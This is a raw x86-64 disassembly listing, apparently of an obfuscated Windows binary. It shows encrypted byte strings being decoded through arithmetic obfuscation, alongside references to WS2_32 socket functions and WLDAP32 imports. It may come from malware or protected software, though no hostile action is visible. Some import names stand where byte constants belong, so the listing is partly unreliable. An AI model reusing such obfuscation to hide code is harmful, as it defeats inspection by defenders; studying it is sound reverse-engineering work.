movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14014b548
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14014b09c
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r11b
jmp 0x14014b3e7
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14014b2b2
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14014b120
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14014b2de
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14014b57b
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14014b30a
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14014b545
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14014b33a
movabs rdx, 0x59bae11ee722dd68
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014b51a
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14014b366
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x14014b4f0
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14014b0d8
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14014b4cc
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xc10]
sub dil, al
sub dil, 0x20
jmp 0x14014b514
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xc10]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xc10], al
add r9, rsi
add rax, r9
sub r10, rax
jmp 0x14014b57b
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14014b548
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x14014b517
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014b4cc
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xc10], cl
add r9, rsi
jmp 0x14014b4f0
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, rsi
jmp 0x14014b5dd
movabs rdx, 0x86f670d5f9d6861c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xc10], cl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14014b5dd
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
add dil, dl
sub dil, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xc10], r8b
add rbx, rsi
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14014b5ce
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xc10]
add rax, r9
add r10, rax
add r10, rsi
jmp 0x14014abe9
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r12b
jmp 0x14014abe1
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x14014abcb
lea rdx, [rbp + 0x16a0e20]
jmp 0x14014b645
lea rdx, [rbp + 0x6bc9ac]
jmp 0x14014b645
lea rdx, [rbp + 0xc10]
lea rcx, [rbp + 0x4a0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1db0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14014b67a
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r15d, 0x40
mov r9d, r15d
lea r14d, [r15 - 0x3e]
mov r8d, r14d
lea rcx, [rbp + 0x1db0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1db0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1db0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x8c0], 0x9b
mov byte [rbp + 0x8c1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8c2], 0x90
mov byte [rbp + 0x8c3], 0xdb
mov byte [rbp + 0x8c4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x8c5], Ordinal_217
mov byte [rbp + 0x8c6], 0x7b
mov byte [rbp + 0x8c7], Ordinal_217
mov byte [rbp + 0x8c8], 0x43
mov byte [rbp + 0x8c9], Ordinal_211
mov byte [rbp + 0x8ca], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8cb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8cc], 0x5e
mov byte [rbp + 0x8cd], Ordinal_211
mov byte [rbp + 0x8ce], 0x5d
mov byte [rbp + 0x8cf], Ordinal_211
mov byte [rbp + 0x8d0], WSASetLastError
mov byte [rbp + 0x8d1], 0xc9
mov byte [rbp + 0x8d2], 0x7a
mov byte [rbp + 0x8d3], 0xcb
mov byte [rbp + 0x8d4], Ordinal_79
mov byte [rbp + 0x8d5], Ordinal_200
mov byte [rbp + 0x8d6], 0x64
mov byte [rbp + 0x8d7], Ordinal_200
mov byte [rbp + 0x8d8], 0x54
mov byte [rbp + 0x8d9], 0xc1
mov byte [rbp + 0x8da], 0x5b
mov byte [rbp + 0x8db], Ordinal_200
mov byte [rbp + 0x8dc], 0x9f
mov byte [rbp + 0x8dd], 0x3d
mov byte [rbp + 0x8de], 0x9a
mov byte [rbp + 0x8df], 0x3f
mov byte [rbp + 0x8e0], 0x84
mov byte [rbp + 0x8e1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8e2], 0xa8
mov byte [rbp + 0x8e3], Ordinal_60
mov byte [rbp + 0x8e4], 0xad
mov byte [rbp + 0x8e5], gethostname
mov byte [rbp + 0x8e6], 0xb8
mov byte [rbp + 0x8e7], Ordinal_60
mov byte [rbp + 0x8e8], 0xad
mov byte [rbp + 0x8e9], Ordinal_50
mov byte [rbp + 0x8ea], 0xa0
mov byte [rbp + 0x8eb], gethostname
mov byte [rbp + 0x8ec], 0xbf
mov byte [rbp + 0x8ed], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8ee], 0x78
mov byte [rbp + 0x8ef], Ordinal_50
mov byte [rbp + 0x8f0], Ordinal_143
mov byte [rbp + 0x8f1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8f2], 0xb3
mov byte [rbp + 0x8f3], Ordinal_46
mov byte [rbp + 0x8f4], 0xb2
mov byte [rbp + 0x8f5], Ordinal_41
mov byte [rbp + 0x8f6], Ordinal_41
mov byte [rbp + 0x8f7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x8f8], rax
mov dword [rbp + 0x900], eax
mov word [rbp + 0x904], ax
mov byte [rbp + 0x906], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x14014c38f
movzx r8d, byte [rbp + r9 + 0x8c0]
mov rdx, r8
cmp rdi, r9
ja 0x14014c386
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014b8c3
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x14014b8fa
je 0x14014c302
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014c2d2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014c2af
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014c261
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14014c37d
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14014b92d
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x14014baf0
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014c250
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014c22d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014c1e3
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014c1bd
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014c132
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014bdd1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014bdab
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14014bd88
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014bd76
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014bd55
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014bd2f
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14014bd0c
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014bcf8
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14014c35a
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014c334
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14014bb1d
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14014baf7
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14014bad4
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14014bce1
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14014bc59
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14014bc45
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14014bc24
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014bc10
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14014bbed
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14014bbcb
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014bbaa
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14014bb87
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14014bb61
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14014bb40
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14014b97b
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14014b97b
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14014b96e
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014b8fa
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x14014b88b
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x14014c280
movabs rdx, 0xd14df463755592d8
mov ecx, recv
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c2aa
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14014c2cd
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014c102
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14014c2f0
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14014c2f3
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14014c141
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14014bfa6
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14014be4d
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp rdi, 4
jae 0x14014c0e1
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14014bfdd
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x14014c0d4
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14014c282
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14014bde3
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14014c141
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14014c2f3
movabs rdx, 0x9af38ee0ea89f018
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c2f0
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14014c105
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x14014c23c
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14014c2aa
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014c282
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14014be35
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x14014c10c
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14014bece
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014bc77
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014be64
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c31d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014be81
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14014c141
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014bead
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14014c2f3
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014bdf2
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14014c23c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014bef8
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x14014c280
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014bf27
movabs rdx, 0x14451420c69e6c64
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014c2aa
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014bf53
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14014c2f0
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014bf7e
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14014c153
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014bfad
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c187
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014bc77
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x14014c31d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014bffa
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14014be4d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014c017
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14014c141
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014c034
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14014c1cc
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014c05e
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x14014c105
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014c089
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14014c2cd
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014c0a6
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14014bb70
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014bcaf
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14014c280
mov byte [rbp + r9 + 0x8c0], bl
jmp 0x14014c32c
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x8c0]
sub bl, al
sub bl, 0x60
add bl, r8b
add bl, dl
jmp 0x14014c200
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x8c0]
jmp 0x14014c14e
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x8c0], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014c31d
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014c2f0
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rdx, 0x96e5be0d8f9d7404
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x1c
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
jmp 0x14014c2f0
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c2cd
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14014c270
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
add r10, rsi
jmp 0x14014c2cd
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, rsi
jmp 0x14014c32c
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014c32c
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x8c0]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14014b878
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014b875
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14014b865
lea rdx, [rbp + 0x16f0ff0]
jmp 0x14014c396
lea rdx, [rbp + 0x68a354]
jmp 0x14014c396
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x4c0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1ec0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14014c3cb
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x1ec0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1ec0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1ec0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x780], 0xcb
mov byte [rbp + 0x781], Ordinal_143
mov byte [rbp + 0x782], 0xac
mov byte [rbp + 0x783], 0xf3
mov byte [rbp + 0x784], Ordinal_79
mov byte [rbp + 0x785], 0xf1
mov byte [rbp + 0x786], WSACleanup
mov byte [rbp + 0x787], 0xf7
mov byte [rbp + 0x788], 0x55
mov byte [rbp + 0x789], 0xf5
mov byte [rbp + 0x78a], 0xa2
mov byte [rbp + 0x78b], 0xfb
mov byte [rbp + 0x78c], 0x66
mov byte [rbp + 0x78d], 0xf9
mov byte [rbp + 0x78e], 0x55
mov byte [rbp + 0x78f], 0xff
mov byte [rbp + 0x790], 0x59
mov byte [rbp + 0x791], 0xfd
mov byte [rbp + 0x792], WSACleanup
mov byte [rbp + 0x793], 0xe3
mov byte [rbp + 0x794], 0x47
mov byte [rbp + 0x795], 0xe1
mov byte [rbp + 0x796], Ordinal_79
mov byte [rbp + 0x797], 0xe7
mov byte [rbp + 0x798], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x799], 0xe5
mov byte [rbp + 0x79a], 0x42
mov byte [rbp + 0x79b], 0xeb
mov byte [rbp + 0x79c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x79d], 0xe9
mov byte [rbp + 0x79e], r15b
mov byte [rbp + 0x79f], 0xef
mov byte [rbp + 0x7a0], 0xb8
mov byte [rbp + 0x7a1], 0xed
mov byte [rbp + 0x7a2], 0x87
mov byte [rbp + 0x7a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7a4], 0x44
mov byte [rbp + 0x7a5], Ordinal_211
mov byte [rbp + 0x7a6], r15b
mov byte [rbp + 0x7a7], Ordinal_217
mov byte [rbp + 0x7a8], 0x81
mov byte [rbp + 0x7a9], Ordinal_217
mov byte [rbp + 0x7aa], 0x7e
mov byte [rbp + 0x7ab], 0xdb
mov byte [rbp + 0x7ac], 0x7c
mov byte [rbp + 0x7ad], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ae], WSACleanup
mov byte [rbp + 0x7af], 0xdf
mov byte [rbp + 0x7b0], Ordinal_143
mov byte [rbp + 0x7b1], 0xdd
mov byte [rbp + 0x7b2], 0x64
mov byte [rbp + 0x7b3], Ordinal_200
mov byte [rbp + 0x7b4], WSAGetLastError
mov byte [rbp + 0x7b5], 0xc1
mov byte [rbp + 0x7b6], 0x54
mov byte [rbp + 0x7b7], Ordinal_200
mov byte [rbp + 0x7b8], Ordinal_200
mov byte [rbp + 0x7b9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7ba], eax
mov word [rbp + 0x7be], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, r15
jae 0x14014d1b0
movzx r8d, byte [rbp + r9 + 0x780]
mov r11, r8
cmp rdi, r9
ja 0x14014d1a7
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014c609
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x32
jmp 0x14014c643
je 0x14014d11a
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014d0c3
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014d06c
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014d043
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014cff9
cmp r10, r9
ja 0x14014d19e
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x14014c675
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
add bl, dl
